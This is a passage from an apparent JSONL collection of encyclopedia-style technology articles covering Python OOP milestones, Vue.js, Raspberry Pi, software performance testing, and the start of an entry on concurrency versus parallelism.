argument. A method will strip any keyword argument it requires and pass on the rest to its immediate base class via `&ast;&ast;kwargs`.\n\n\n## Milestones\n\nJan  \n1994\n\nPython 1.0 is released. This version includes support for **classes and inheritance**, which were also present in earlier version 0.9. \n\nDec  \n2001\n\nPython 2.2 is released. Via PEP 252 and 253, this release **unifies built-in types and user-defined classes**. We can now subclass built-in types. We can define **static methods** and **class methods**. We also have **properties** to automatically call methods when accessing or setting instance attributes. The introspection API is now unified across types and classes. Despite being a big change, this is done with backwards compatibility. Python 2.1 and earlier are now known as \"classic Python\" and classes without built-in types in their bases are called \"classic classes\". \n\nJul  \n2003\n\nPython 2.3 is released. This version changes the Method Resolution Order (MRO). Specifically, it adopts **C3 MRO** that was invented back in 1996 for the Dylan programming language. Even with C3, there are some complex inheritance hierarchies where its impossible to resolve the order and Python raises an exception. \n\nNov  \n2004\n\nPython 2.4 is released. Via PEP 318, this release includes **decorators for functions and methods**. Wrappers `staticmethod()` and `classmethod()` available since Python 2.2 are now available as decorators `@staticmethod` and `@classmethod`. **Class decorators** are introduced in Python 3.0 (Dec 2008) via PEP 3129. \n\nApr  \n2007\n\nPEP 3119 is created to introduce **Abstract Base Class (ABC)** into the language. ABCs are conceptually close to what other languages call interfaces. In fact, back in 2001, PEP 245 considered introducing interfaces but the proposal was rejected. In December 2008, ABCs become part of Python 3.0 release and also backported to Python 2.6. \n\nDec  \n2008\n\nPython 3.0 is released. Via PEP 3135, this release allows `super()` to be called without arguments to invoke methods. For example, the syntax `super(Foo, self).foo(1, 2)` is simplified to `super().foo(1, 2)`. The word `super` itself is not reserved and is interpreted specially only within the context of a method definition. This release also **gets rid of unbound methods**. Accessing a method as class attribute now results in a plain function object. \n\nSep  \n2012\n\nPython 3.3 is released. Via PEP 3155, this release adds **qualified name** attribute `&lowbar;&lowbar;qualname&lowbar;&lowbar;` to classes and functions. This enhances introspection for nested classes and functions. The qualified name also helps in Python3 since there's no `im_class` attribute (unbound methods in Python2).","meta":{"title":"Python OOP","href":"python-oop"}}
{"text":"# Vue.js\n\n## Summary\n\n\nVue.js is a lightweight frontend JavaScript framework. It can be used to develop modular UI components or entire Single Page Applications (SPAs). It features an incrementally adoptable architecture that focuses on declarative rendering and component composition. Advanced features such as routing, state management, build tooling, animations, and validations are offered via officially maintained libraries and packages. \n\nIf you know HTML, CSS, and JS, it's easy to get started with Vue.js. Because of it's lean design, it takes up only a few tens of kilobytes. It's fast. It's open source and community led. It integrates well with other tools. It's also being used to build mobile apps.\n\n## Discussion\n\n### What's the benefit of using Vue.js over vanilla JavaScript?\n\nJavaScript enabled us to add more dynamic content to web pages plus have rich user interactions. With vanilla JS, this came with increased code complexity and low maintainability. For example, to add interactions we would need to link event handlers to DOM elements, code these handlers (using vanilla JS or jQuery for example), make AJAX calls, handle the responses and update DOM elements. All this was done using hand-crafted code that was difficult to scale and maintain for large projects. \n\nIt's to solve this problem that JavaScript frameworks were introduced. Vue.js is one of them, with Angular and React being alternatives. Vue.js is said to be approachable, versatile and performant. \n\nVue.js is a **progressive JS framework**. This means that you're not forced to migrate your entire app at once. Instead, you can incrementally migrate some components that need rich interactions. Vue.js plays well with other code. You can use Vue.js code in apps written in other frameworks and also embed other code inside of Vue.js. \n\n\n### Who's using Vue and what's been their experience?\n\nIn 2017, Vue.js was named the \"most willingly learned technology\". Companies of all sizes and market domains have adopted Vue.js. This includes Netflix, Facebook, Alibaba, Adobe, Xiaomi, Grammarly, Laracasts, Behance, GitLab, 9gag, Nintendo, Chess, and Font Awesome. \n\nMade With Vue.js showcases lots of projects developed using Vue.js. These include components, frameworks, webapps, websites, games, and more.\n\nA survey of 1,553 responses collected in Nov-Dec 2018 showed that 92% would use Vue.js for their next project. 75% saw ease of integration as the biggest advantage and 58% found it easy to learn and apply. More than half saw documentation, performance and progressiveness as important advantages. \n\n\n### How does Vue.js compare against other frontend development frameworks?\n\nThe common parameters for comparing various frontend frameworks are features, documentation, developer tooling, adoption, third-party libraries, and community support. While React and Angular are led by Facebook and Google respectively, Vue.js is more community led, though there's a core team to set roadmaps. \n\nFor building complex apps, other frameworks such as Ember and Angular provide an opinionated set of components. Vue.js core instead focuses on data binding, similar to React. Outside the core functionality, React leaves everything to the community. This creates churn, with developers not sure what to adopt. Vue.js takes the middle path where the core exposes minimal features and other official libraries offer incrementally adoptable pieces; but developers are not tied to using them. Thus, it's more approachable that React. \n\nIt's been said that for migrating AngularJS (not Angular) apps, Vue.js is a natural fit mainly due to similar templating syntax and reactive model. In incremental migration, Vue.js and AngularJS play nicely with each other. \n\nVue.js is about 80KB while React is 100KB and Angular is 500KB. Hacker Noon offers a detailed comparison of the three frameworks. \n\n\n### What are the main features of Vue.js?\n\nVue essentially extends HTML with **components**. These are custom elements to which Vue compiler attaches behaviour and binds data. Vue uses **templates** that are compiled to virtual DOM render functions. \n\nA Vue component also has **scripts** for defining local data, props, computed properties, watchers, methods, and lifecycle hooks. We can also include component specific **styles** that are scoped to the component. CSS styling can also use pre-processors such as Less or SCSS. When data changes, CSS transitions and animations can be easily coded with Vue. \n\nVue adopts the ViewModel part of the Model-View-ViewModel (MVVM) architecture. However, developers can adopt Flux architecture, as is usually the case when using Vuex for state management. \n\nWe can use props to pass data down to components. To inform a parent component that some data has changed, use `$emit` events. For more complex communication, use **EventBus** (for small apps) or **Vuex** (for large apps). \n\nOther useful features are built-in modifiers, mixins, plugins, filters, JSX, and custom directives. \n\n\n### What's the Vue.js component lifecycle?\n\nA Vue.js component moves through different states in it's lifetime: created, mounted, updated, destroyed. These states are associated with a number of **lifecycle hooks** that we can use to execute custom JS code. \n\nJust after a Vue component is instantiated, `beforeCreate()` is called. At this point, component has no access to the data model. Once created, the `created()` hook is called, which is a good place to load any data. Now, the component is ready to watch data for changes and listen for events. \n\nHowever, the component is still isolated from view layer (the native DOM) and nothing will be displayed. Vue will display the data only when component's mounted. Hooks relevant in this phase are `beforeMount()` and `mounted()`. Once mounted, we can access the `$el` property that helps us update the DOM when necessary. \n\nOnce mounted, an update cycle is started whenever data is updated. Virtual DOM is updated and differences are patched to the native DOM for efficient rendering. Relevant hooks are `beforeUpdate()` and `updated()`. \n\nWhen component is not longer required in the DOM and being destroyed, we can use hooks `beforeDestroyed()` and `destroyed()`. \n\n\n### How is the ecosystem around the core of Vue.js?\n\nThe Vue team maintains the Vue.js core that focuses on the view layer. They also maintain other libraries that help you build rich single page applications:  \n\n    + **vue-router**: For SPA routing.\n    + **vuex**: For large-scale state management.\n    + **vue-cli**: To create project scaffolding.\n    + **vue-loader**: A loader for webpack. This is useful for Vue components in a format called *Single-File Component* (SFC), which is a `*.vue` file.\n    + **vue-class-component**: TypeScript decorator for a class-based API.\n    + **vue-rx**: RxJS integration.\n    + **vue-devtools**: Browser DevTools extension. This can be a Chrome extension, Firefox addon or standalone Electron app.\n    + **vue-test-utils**: For unit testing.\n    + **vue-server-renderer**: For building isomorphic or universal JS apps, with app code running on both server and client. As an alternative, there's Nuxt.js, just as React has Next.js.\n\n### Which are some third-party libraries and tools for Vue developers?\n\nHere are some third-party tools that might interest developers: \n\n    + **vue-templates**: Out-of-the-box templates to avoid manual config and boilerplate.\n    + **vue-dummy**: For placeholder text and images.\n    + **VuePress**: Static site generator.\n    + **Gridsome**: Framework for static sites with GraphQL for data management.\n    + **Vuetify**: UI component library based on Material Design.\n    + **Quasar**: Framework that enables single codebase for SPAs, PWAs, hybrid mobile apps, desktop apps, etc.\n    + **Storybook**: For writing UI components and target multiple frontend frameworks.\n    + **Vue Apollo**: Integrate Vue with GraphQL.\n    + **Weex**: Framework for building mobile apps with Vue and others.\n    + **Bit**: To organize and share components across apps.\n    + **Vue Starter**: Boilerplate for production-ready PWAs.\n    + **Vue Design System**: A set of tools, patterns, and practices for building UI design systems.\n    + **VS Code / Atom Integration**: Vue-related extensions for VS Code and Atom editors, to name just a couple.\n\n### Could you share some tips and best practices for using Vue.js?\n\nWhen you reuse components across views, new Vue instances won't be instantiated. Instead, use a custom handler to react to route changes. Avoid manipulating the DOM directly. Instead use `$refs`. Use computed properties to manipulate component data. These are also cached from their reactive dependencies. Validate your props. \n\nHere are some tips for better performance:\n\n    + **Loop Items**: Use `:key` so that Vue can update items more efficiently.\n    + **Functional Components**: Cheaper than stateful components. Use these if you're only accepting props and rendering markup.\n    + **Component Registration**: Avoid registering all components globally. Import specific components within other components, preferably asynchronously.\n    + **Code Splitting**: Split your code into logical parts to reduce JS bundle size. Enables lazy loading.\n    + **Lazy Loading**: For local component registration, route declaration and other stuff not needed upfront. Load components as necessary based on user actions.\n    + **SVG**: Hide/show elements rather than frequently removing or adding them. A faster alternative to SVG is to use Canvas and WebGL, which are not XML based.\n\n### What are some criticisms or concerns with Vue.js?\n\nTraditionally, Vue.js was not suited for building mobile apps. This is changing. Vue's founder, Evan You, commented in March 2019 that Vue.js is already \"unofficially\" supporting integration with NativeScript, Quasar and Ionic 4. \n\n\n### What are some useful resources for a beginner to learn Vue.js?\n\nA good place to start learning Vue.js is to read the official guide. A series of Vue videos on Laracasts is worth studying. Vue Mastery is another useful resource with lots of Vue lessons. \n\nFor building SPAs, read Bland's tutorial or Chuchin's tutorial. For building PWAs, read Rajat's tutorial.\n\nFor reference, Vue Mastery has released a handy cheat sheet. For ready-to-use themes, Creative Time provides UI kits, templates and dashboards based on Vue.js.\n\nFor latest news, follow The Vue Point, the official Vue.js blog.\n\nDevelopers who wish to contribute, should head to the Vue.js page on GitHub.\n\n## Milestones\n\n2013\n\nEvan You at Google Creative Lab starts experimenting with the good parts of Angular, especially it's declarative data binding. He feels that for simple use cases Angular is too heavy and opinionated. It's from here that he creates and names **Vue.js**. \n\nFeb  \n2014\n\nEvan You releases Vue code on GitHub and shares a link on Hacker News. The project gets several hundred stars within the first week. The actual version is **Vue 0.9.0 Animatrix**. Since then, Vue releases are code named based on anime names. \n\nOct  \n2015\n\n**Version 1.0.0 Evangelion** is released after 300+ commits, 8 alphas, 4 betas and 2 release candidates. API is cleaned up to suit large projects, keeping in mind maintainability and refactoring. For fast initial rendering, `v-repeat` is replaced with `v-for`. Apart from the core, vue-loader, vueify and vue-router now provide a good foundation to build Single Page Applications. Also supported are hot component reloading and scoped CSS. \n\nSep  \n2016\n\n**Version 2.0.0 Ghost in the Shell** is released. Work on this version started in April. This release includes TypeScript typings and superior rendering performance compared to Vue 1.0. Server-side rendering is possible. There's JSX support via a Babel plugin. The runtime is only 16KB when minified and zipped. \n\nAug  \n2018\n\n**Vue CLI 3.0** is released. It's a rewrite of the older version. The aim is to reduce configuration fatigue and make it easier to work with multiple tools. It provides a pre-configured build setup using Webpack. It supports ES2017 transpilation, polyfills injection, CSS pre-processors, and more. The CLI comes with beta version of a GUI. This deprecates the older `vue-cli` command. \n\n2019\n\nIn February, **Vue 2.6.0 Macross** is released. Meanwhile, Evan You comments that Vue 3.0 is likely to be released in 2019. It's a rewrite that sees some internal parts becoming individual packages. TypeScript is being used for the new version. You may wish to view a video titled Vue.js in 2019 & Beyond.","meta":{"title":"Vue.js","href":"vue-js"}}
{"text":"# Raspberry Pi\n\n## Summary\n\n\nRaspberry Pi is a credit-card-sized single-board computer (SBC) designed in the UK. It was started with the idea of making computers affordable, accessible and fun to a new generation of programmers.  \n\nSince its first release in 2012, many variant models of the Pi have been released, from $5 to $35. By 2018, more than 20 million units of the Pi were sold. \n\nThough it was conceived as an educational tool, Raspberry Pi has since been used for home automation, in industrial systems and even on the International Space Station. It's managed by the *Raspberry Pi Foundation*. The schematics are available but the board itself is not open hardware.\n\n## Discussion\n\n### What are some applications where Raspberry Pi is suitable?\n\nIt's ideal for beginners to learn about computers and programming. With Raspbian as the OS, Python and Scratch come by default. You can make music with Sonic Pi. Those interested in gaming, can play and even tweak Python-based games. You can setup a web server on the Pi. For scientific computing, start using Mathematica. The Pi can also handle streaming video, play audio/video or be used as a media centre. \n\nIt's also a good platform to learn electronics, interface to sensors and build IoT projects. Many have used it for home automation projects. The small form factor and lower power requirements of Pi Zero enable battery-powered applications, possibly in remote areas. It can be used as an IoT gateway. With the increasing need for edge processing and analytics, the Pi has been used for such purposes. \n\nIn general, while a microcontroller-based system (such as Arduino) is good at input/output, the Pi is more suitable for applications that require lot more data processing, involve media streaming, network with other devices, or manage multiple processes. \n\n\n### What interfaces does a Raspberry Pi expose?\n\nWhile some models remove some of these interfaces, the following are present on Pi 3 Model B+: 4 x USB 2.0, Gigabit Ethernet, HDMI, analogue audio/video 3.5mm jack, Camera Serial Interface (CSI), Display Serial Interface (DSI) and a 40-pin GPIO header. CSI can connect to a camera. DSI can connect to a touchscreen display. For wireless networking, there's 802.11ac, Bluetooth 4.2 and BLE. \n\nGPIO header supports common digital interfaces: I2C, SPI and UART. There are 17 pins for GPIO. There's also an I2S interface for audio output. All GPIO run on 3.3V and can give maximum 20mA. Due to these interfaces, the Pi's being used for IoT and robotics applications. \n\nOne interface that the Pi lacks is Analog-to-Digital Converter (ADC). An external ADC must therefore be used to interface to analogue sensors. The Pi can also be expanded with **HAT (Hardware Attached on Top)** expansion boards. \n\n\n### What hardware variants of the Raspberry Pi have been released to date?\n\nThere have been to date four generations of Raspberry Pi: \n\n    + Gen1: Model B, Model A, Model B+, Model A+, Compute Module 1\n    + Gen2: Pi 2 Model B, Pi Zero\n    + Gen3: Pi 3 Model B, Pi 3 Model B+, Pi 3 Model A+, Pi Zero W, Pi Zero WH, Compute Module 3, Compute Module 3 Lite, Compute Module 3+\n    + Gen4: Pi 4 Model B (1/2/4GB)Compute Module is for industrial applications. \n\nHigher generation boards have faster CPU and more memory. In terms of form factor, cost and capability, in decreasing order are B, A and Zero models. The \"plus\" variants are better than the plain ones of that generation. Wireless connectivity was introduced for the first time in third generation models. Hence, both Pi Zero W and WH belong here. \n\nSocialCompare gives a feature comparison of most variants. RasPi.TV gives a nice picture of all the boards.\n\n\n### How does one go about setting up a Raspberry Pi?\n\nRaspberry Pi is just the processing module. It offers a number of interfaces to connect peripherals. HDMI can be used to connect to a display monitor or TV screen. For older displays, there's an analogue video interface. USB ports can be use to connect mouse and keyboard. \n\nEthernet port is for a wired LAN connection. Otherwise, on-board Wi-Fi of Pi 3 models can be used to connect to a wireless LAN. With older models, a USB-based Wi-Fi dongle can be used instead. \n\nThere's a micro USB to power up the Pi. However, Pi won't do anything without an operating system and software to run it. These should be loaded into an SD card. Online instructions can guide you to prepare the SD card.\n\nTo use the Pi from your desktop/laptop, read about headless mode and VNC.\n\n\n### How is the software support for Raspberry Pi?\n\nRaspberry Pi needs an operating system (OS). The official OS supported by the Foundation is **Raspbian**, which is based on Debian Linux distribution. Some Linux-based alternatives are Ubuntu MATE, Snappy Ubuntu Core and RaspBSD. There's also Windows 10 IoT Core, Android Things, PiNet, Weather Station and IchigoJam Pi.  \n\nTo use Pi as a media centre, we can use OpenELEC, LibreELEC or OSMC. RISC OS, developed in the 1980s for ARM processors, can be used. For those who prefer a command line interface, try Plan 9. To use Pi for gaming, try RetroPie, RecalBox, Lakka and PiPlay. \n\nMany of these can be installed using the **NOOBS** installer. You could also install them directly. \n\nFurther software support depends on the OS used. For example, Raspbian comes pre-installed with Python, Scratch, Sonic Pi, Java, and more. Python libraries Rpi.GPIO and Wiring Pi are useful for IoT programming. \n\n\n### What resources can help a beginner learn Raspberry Pi?\n\nThe official website is a good place to start. The FAQ page will clarify many basic questions.\n\nGet involved in the Pi community. Read the blog. Subscribe to the newsletter. *Raspberry Jams* are local meetups for sharing knowledge or collaborating on Pi projects. Use the Pi Forums to ask or give help. Get inspired by Pi projects that others have created.\n\nSearch online for tutorials, books, and projects posted on community websites. Programming the Raspberry Pi by Simon Monk is recommended for beginners. For inspiration, visit Instructables and Hackaday. \n\nOn Pi Day 2018, one blogger shared 314 useful resources for Raspberry Pi enthusiasts.\n\n## Milestones\n\n1980\n\nIn the 1980s, BBC Micro in the UK and Commodore 64 in the US make computers accessible to home users. BASIC programming language could be used to program these computers. \n\n2006\n\nEben Upton at the University of Cambridge notices how fewer students are applying for computer science courses. He blames it on the lack of affordable computers for educational purpose. Children have access to only games consoles (and tablets and smartphones in later years). They have become consumers of content rather than programmers. Upton builds a computer using off-the-shelf parts and a soldering iron. It runs on an Atmel microcontroller. \n\nOct  \n2008\n\nAt a meeting involving Eben Upton (now an SoC architect at Broadcom), Alan Mycroft and Pete Lomas, the vision for Raspberry Pi takes shape. It's not about giving kids a black box. It should be a bare board that helps them know its components, tinker into open source code and learn how computers work. The second prototype is built using Broadcom components. The name **Raspberry Pi** is also coined, \"Pi\" because it boots into Python. A logo is selected later in 2011 via an open competition. \n\nMay  \n2009\n\nTo develop the Raspberry Pi and promote basic computer science in schools, **Raspberry Pi Foundation** is formed as a charity. Despite having the Foundation, the next two years would prove difficult for realizing the hardware at its desired price point of $35. \n\nMay  \n2011\n\nA thumb-drive prototype of the Raspberry Pi is released in the UK. A YouTube video of the same picks up 600,000 views in just two days. This is made possible by a low-cost **ARM-based Broadcom SoC BCM2835** released in early 2011. The SoC was meant for applications such as electronic devices and digital signs, but now reimagined to power Raspberry Pi. \n\nAug  \n2011\n\nThe first 50 Raspberry Pi Alpha boards are released, built by Broadcom. The board has many features and interfaces that would become standard in later versions. However, it's $110 a piece plus slightly larger than the desired size of a credit card. Many design decisions are made to achieve the final $35 credit-card-sized Pi. The beta boards come out in December. \n\nFeb  \n2012\n\nThe first Raspberry Pi **Model B** is released. Orders quickly reach 100,000. A simpler and cheaper variant of this called **Model A** is released in 2013. This has only 1 USB port and no Ethernet port. \n\n2014\n\nRaspberry Pi **Model B+** and **Model A+** are released. GPIO header increases from 26 to 40 pins. The new boards also use less power. Upton later comments that Model B+ is the one they intended to make back in 2012. The success of earlier models and high volumes driving down costs (2.5 million by February 2014), have helped achieve Model B+ at a retail price of $35. \n\nFeb  \n2015\n\n**Raspberry Pi 2 Model B** is released. Compared to Model B+, it doubles the RAM size from 512MB to 1GB. Speed increases from 700MHz to 900MHz. There are four USB ports rather than two, thus removing the need to get a USB hub. The SoC is based on quad-core ARM Cortex-A7. \n\nNov  \n2015\n\nFor applications that require fewer interfaces, there's already Model A and Model A+. By removing the pinout header, removing more interfaces, and reducing HDMI and USB to smaller form factors, **Raspberry Pi Zero** is released. It retails at only $5. It draws less than 1 Watt of power. In 2017, **Zero W** includes wireless connectivity. In 2018, **Zero WH** includes the GPIO pinout header. \n\nFeb  \n2016\n\n**Raspberry Pi 3 Model B** is released. It uses a 64-bit SoC. This becomes the first model to add wireless connectivity: Wi-Fi 802.11n and Bluetooth 4.1. This can also boot from a USB. In 2018, variants **Pi 3 Model B+** and **Pi 3 Model A+** are introduced with 802.11ac and Bluetooth 4.2. \n\n2019\n\nBy end of February, 25 million units of Raspberry Pi are sold worldwide. In June, **Raspberry Pi 4 Model B** is released with support for 4K video.","meta":{"title":"Raspberry Pi","href":"raspberry-pi"}}
{"text":"# Software Performance Testing\n\n## Summary\n\n\nPerformance testing helps identify bottlenecks in a system, establish a baseline for future testing, support a performance tuning effort, and determine compliance with performance goals and requirements.\n\nPerformance testing is an ongoing task throughout the life cycle of the project. It not only involves testers, but also developers and operations to run and maintain the application to its performance expectations. \n\nPerformance, load, and stress tests are subcategories of performance testing, each intended for a different purpose.\n\n## Discussion\n\n### What is performance testing in software?\n\nPerformance testing is a type of non-functional testing. It's intended to determine the responsiveness, throughput, reliability, and/or scalability of a system under a given workload. \n\nPerformance testing is testing that is performed to determine how fast some aspect of a system performs under a particular workload. It can serve different purposes, such as to demonstrate that the system meets performance criteria.\n\nIn the past, performance testing was a specialized activity managed by separate teams, not the developers. The process typically took weeks and even months. With the transition to Agile and DevOps, this has changed. Using open source and commercial tools, it's now become possible to do performance testing by developers in shorter time scales. \n\n\n### What should be the focus of performance testing?\n\nFollowing are some focus areas for performance testing: \n\n    + **Speed**: Determines whether the software application responds quickly.\n    + **Scalability**: Determines maximum user load the software application can handle.\n    + **Stability**: Determines if the application is stable under varying loads.\n\n### What are the common goals of performance testing?\n\nPerformance testing has the following goals:  \n\n    + Assess production readiness\n    + Evaluate against performance criteria\n    + Compare performance characteristics of multiple systems or system configurations\n    + Find the source of performance problems\n    + Support system tuning\n    + Find throughput levels\n\n### What are the types of performance testing?\n\nEach type of performance testing has a specific focus as noted below: \n\n    + **Load Testing**: Checks the application's ability to perform under anticipated user loads. The objective is to identify performance bottlenecks before the software application goes live.\n    + **Stress Testing**: Also called *Breakpoint Testing*, this involves testing an application under extreme workloads to see how it handles high traffic or data processing. The objective is to identify breaking point of an application.\n    + **Endurance Testing**: Also called *Soak Testing*, this is done to make sure the software can handle the expected load over a long period of time.\n    + **Spike Testing**: Tests the software's reaction to sudden large spikes in the load generated by users.\n    + **Volume Testing**: Large amount of data is populated in database and the overall software system's behavior is monitored. The objective is to check software application's performance under varying database volumes.\n    + **Scalability Testing**: Determine the software application's effectiveness in \"scaling up\" to support an increase in user load. It helps plan capacity addition to your software system.\n\n### What are the steps of performance testing?\n\nWe may list the following steps: \n\n    + **Identify the Test Environment**: Identify the physical test environment and the production environment, which includes the hardware, software, and network configurations.\n    + **Identify Performance Acceptance Criteria**: Identify the response time, throughput, and resource utilization goals and constraints. In general, response time is a user concern, throughput is a business concern, and resource utilization is a system concern.\n    + **Plan and Design Tests**: Identify key scenarios, determine variability among representative users such as unique login credentials and search terms.\n    + **Configure the Test Environment**: Prepare the test environment, tools, and resources necessary to execute each strategy as features and components become available for test.\n    + **Implement the Test Design**: Develop the performance tests in accordance with the test design best practice.\n    + **Execute the Test**: Run and monitor your tests. Validate the tests, test data, and results collection.\n    + **Analyze Results, Report, and Retest**: Consolidate and share results data. Analyze the data both individually and as a cross-functional team. Re-prioritize the remaining tests and re-execute them as needed.\n\n### What performance parameters are monitored during performance testing?\n\nThe following are commonly monitored: \n\n    + **Processor Usage**: Amount of time processor spends executing non-idle threads.\n    + **Memory Use**: Amount of physical memory available to processes on a computer.\n    + **Disk Time**: Amount of time disk is busy executing a read or write request.\n    + **Bandwidth**: Shows the bits per second used by a network interface.\n    + **Private Bytes**: Number of bytes a process has allocated that can't be shared amongst other processes.\n    + **Memory Pages per Second**: Number of pages written to or read from the disk in order to resolve hard page faults.\n    + **Page Faults per Second**: Overall rate in which fault pages are processed by the processor.\n    + **Response Time**: Time from when a user enters a request until the first character of the response is received.\n    + **Throughput**: Rate a computer or network receives requests per second.\n    + **Maximum Active Sessions**: Maximum number of sessions that can be active at once.\n    + **Hits per Second**: Number of hits on a web server during each second of a load test.\n    + **Database Locks**: Locking of tables and databases.\n    + **Thread Counts**: Number of threads that are running and currently active.\n\n### Could you give pointers on performance testing in the cloud?\n\n**Cloud-based performance testing** refers to the use of cloud technologies to test your application or service. Your application itself may not be on the cloud but the load generation, report collection and test monitoring is done in the cloud. The obvious benefit is lowering infrastructure cost, testing at scale, simulating load coming from different geographic regions, and more. \n\nThis should not be confused with **cloud performance testing**, where the idea is to validate the performance of an application deployed in the cloud. The general approach to performance testing, types of tests and parameters monitored remain the same but with some aspects particular to cloud. For example, storage, processing, bandwidth and number of users become important. In particular, parameters related to management of virtual machines, containers, microservices, database connections, all need to be validated.\n\nTests should validate how well and fast can the cloud infrastructure adapt to varying load. Elasticity, scalability, availability, fault tolerance and reliability are all important measures. This includes the performance of logging, raising alarms, or sending notifications, across all the cloud services used by the application.\n\n\n### Could you name a few performance testing tools?\n\nSome open source tools include Apache JMeter, K6, LoadUI, and Grinder. Commercial tools requiring a license include HP LoadRunner, IBM Rational Performance Tester, and Microfocus SilkPerformer.\n\nWhen selecting a particular tool, you must evaluate the supported features. One blogger has shared a feature comparison of some tools with respect to scripting, execution and reporting.\n\nWikipedia gives a useful list of load testing tools. \n\n## Milestones\n\n1989\n\nMercury Interactive is founded in California. It releases **LoadRunner**, one of the first performance testing tools. \n\nDec  \n1998\n\n**JMeter** is released as an open source functional plus performance testing tool. In November 2011, it becomes a top-level Apache project. \n\n2001\n\n**OpenSTA** is released as an open source web load and performance testing tool. \n\n2004\n\nSoftware Test & Performance magazine is launched by BZ Media. It's later renamed to Software Test & Quality Assurance magazine. A curated list of magazines and blogs for software testing is also available.\n\n2011\n\nBased on JMeter, commercial tool **BlazeMeter** is released. Fourth generation of BlazeMeter is released in 2018 and it enables Continuous Testing. BlazeMeter enhances JMeter with scalability, reporting, collaboration, and test management features.","meta":{"title":"Software Performance Testing","href":"software-performance-testing"}}
{"text":"# Concurrency vs Parallelism\n\n## Summary\n\n\nConcurrency and Parallelism are both prominent processing techniques used by the OS when multiple computer processes are pending to be executed by it. \n\nConcurrency implies multiple tasks can be executed in an overlapping time period. So one task may be started before the previous one finishes, but they will not be running at the same instant of time. Instead, the processor will allot time slices per task and switch contexts suitably (multitasking on a single-core machine). Concurrency is hard to implement and debug. \n\nParallelism describes the ability for independent tasks of a program to be physically executed at the same instant of time. These tasks may run simultaneously: on another processor core, another processor or an entirely separate computer (distributed systems). With ever-increasing demand for computing speed from real-world applications, parallelism is becoming ubiquitous and increasingly affordable.\n\n## Discussion\n\n### Can you introduce the common terms used in concurrency and parallelism?\n\nHere are some essential terms to know:\n\n    + **Multiprocessing**: Two or more CPUs within a single computer system sharing Memory and IO resources.\n    + **Distributed Computing**: Computing system with multiple components (Memory, CPU, IO) located on different machines. Resources are shared. Information is exchanged internally to appear as a single coherent system to the end user.\n    + **Multicore processor**: Combines two or more independent CPUs into one package (Single IC). Examples: Intel Core 2 duo, Qualcomm Snapdragon Octacore processor chips.\n    + **Multi-threading**: When a process runs multiple sub-tasks (threads) to perform various operations at the same time. Individual threads are controlled by a main thread of execution. Data is exchanged using shared memory.\n    + **Pipelining**: Sequential execution of related tasks where output of one task becomes input for the next task in the pipeline. This ordering helps maximise processor utilization.\n    + **Clock cycle**: Speed at which a CPU performs a basic operation. Example: 4 GHz processor has a cycle time of 0.25ns.\n    + **Time Sharing**: Allocation of computer resources in time slots to several programs. Uses CPU scheduling and multi-programming to provide each user with a processor time slice.\n\n### How does concurrent processing work?\n\nGoal of concurrency is to minimise CPU idle time. Another process/thread gets CPU allocation while present process/thread is waiting for input/output operation, database transaction or invoking an external application. An interrupt is sent to the active task to pause it. Task-related data stored in RAM is context switched to the new task. \n\nIf two or more tasks are running on a single-core CPU (or on the same core in a multicore processor), they can concurrently access the same resources. Data read operations are safe when done in parallel. Programmers need to manage data integrity during write access.\n\nEfficient scheduling of tasks is vital in a concurrent system. Popular task scheduling algorithms include FIFO, Shortest Remaining Time, Strict Priority, and Round-Robin. \n\nIn order to prevent task starvation when one task hogs the CPU for too long, interrupts are designed to pause it and give CPU allocation to other tasks. This is called **preemptive scheduling**. To manage scheduling/dispatching of concurrent tasks, the OS itself needs CPU time like any application program.\n\nExecuting tasks in batches may also minimise idle time. Costly operations such as IO/Memory fetch are done just once per batch. \n\n\n### How is parallelism implemented in various computer systems?\n\nA computer's performance depends directly on the time required to perform a basic operation and the number of basic operations that can be performed in parallel. Clock cycle of a processor is the minimum time taken to perform a basic operation, which is already near the speed of light in modern computers. Parallelism is therefore necessary for performance gains:\n\n    + Increase internal concurrency in operations at chip level (very expensive VLSI design)\n    + Process pipelining\n    + Multiple function units (several multipliers, adders managed by one instruction set)\n    + Multiple cores (CPUs) in the same computer sharing memory and IO. This makes parallelism possible even in smaller devices like mobile phones, tablets or smart car systems.\n    + Distributed systems of multiple independent computers with their own memory and IO. This has become a prevalent and feasible option with greatly improved networking speeds (100 Tbps achieved during research in year 2020).With real-world applications becoming more data intensive and new devices getting added to the digital network every day, parallel computing is the way forward. Computer architectures used to sustain this growth are changing radically, from sequential to parallel. \n\n\n### Can you explain concurrency and parallelism with an example?\n\nA simple example for concurrent processing would be any user interactive application such as a document editor. Every time a function involves user action, the processor cycles are wasted. Instead, control is ceded to some background operation the application may require. When file is being saved or printed (in the background), user can concurrently type.\n\nThe main thread of the word processor spawns several threads when needed – for character typing, saving to disk, despatching to printer, etc. They may execute within a common time frame but they are not really executing in parallel. \n\nIn contrast, a Hadoop-based distributed data processing system is a good example of a parallel processing. It consists of large-scale data processing on clusters using massively parallel processors.\n\nThe parallelization and command control distribution is automatic. A clean abstraction is presented to programmers who can see the whole system as one database. Typical specifications include 40 nodes/rack, 1000-4000 nodes in cluster, 1 Gbps bandwidth in rack, 8 Gbps out of rack. Node specifications include 8-16 cores, 32 GB RAM, 8×1.5 TB disks. \n\n\n### How is information shared between processes in both these techniques?\n\nEvery OS process consists of allocated memory for program code, data, and a heap for dynamic memory allocations. Threads spawned within the process have their own call stacks, virtual CPU and local storage. But they share the application's heap, data, codebase and resources (such as file handles) with other threads in the same process.\n\nThreads share data and code while processes don't. The stack is not shared for both.\n\nStatic data is shared between threads from common shared memory. Other data is shared through arguments/parameters and references, as long as the data is allocated. All allocated storage, unless freed explicitly, is not freed until program termination. Data serialization is the user's responsibility.\n\nAll files are shared between threads. If a thread (other than main) opens a file, it must be closed before that thread terminates. \n\nCPU parallelism in multi-core systems is different from distributed systems because of shared memory availability. In distributed systems, Message Passing Interface (MPI) allows communication of information between various nodes and clusters. It's commonly used in High Performance Computing (HPC) systems. It may be used in multi-core systems as well, thus presenting a unified abstraction.  \n\n\n### How are the concurrent and parallel processes scheduled for execution?\n\nBasic sequence of concurrent process execution is more or less similar for OS tasks and application program tasks. Initially, a bootstrap program (such as init or main thread) starts execution. Then a software or hardware interrupt is raised to request a new thread of execution. Once interrupted, CPU stops what it's doing and immediately transfers execution to the starting address of the interrupting service routine. Return addresses of interrupted threads are stored in a system stack for resuming execution later. \n\nThe Task Scheduler schedules and coordinates concurrent tasks at runtime. Combination of pre-emptive and cooperative scheduling algorithms are used for task sequencing. Goal is to achieve maximum usage of processing resources. Higher priority tasks are allowed to 'steal' CPU resources from other threads. Sometimes threads simply timeout and cede their CPU control. Threads may also keep polling to check for free 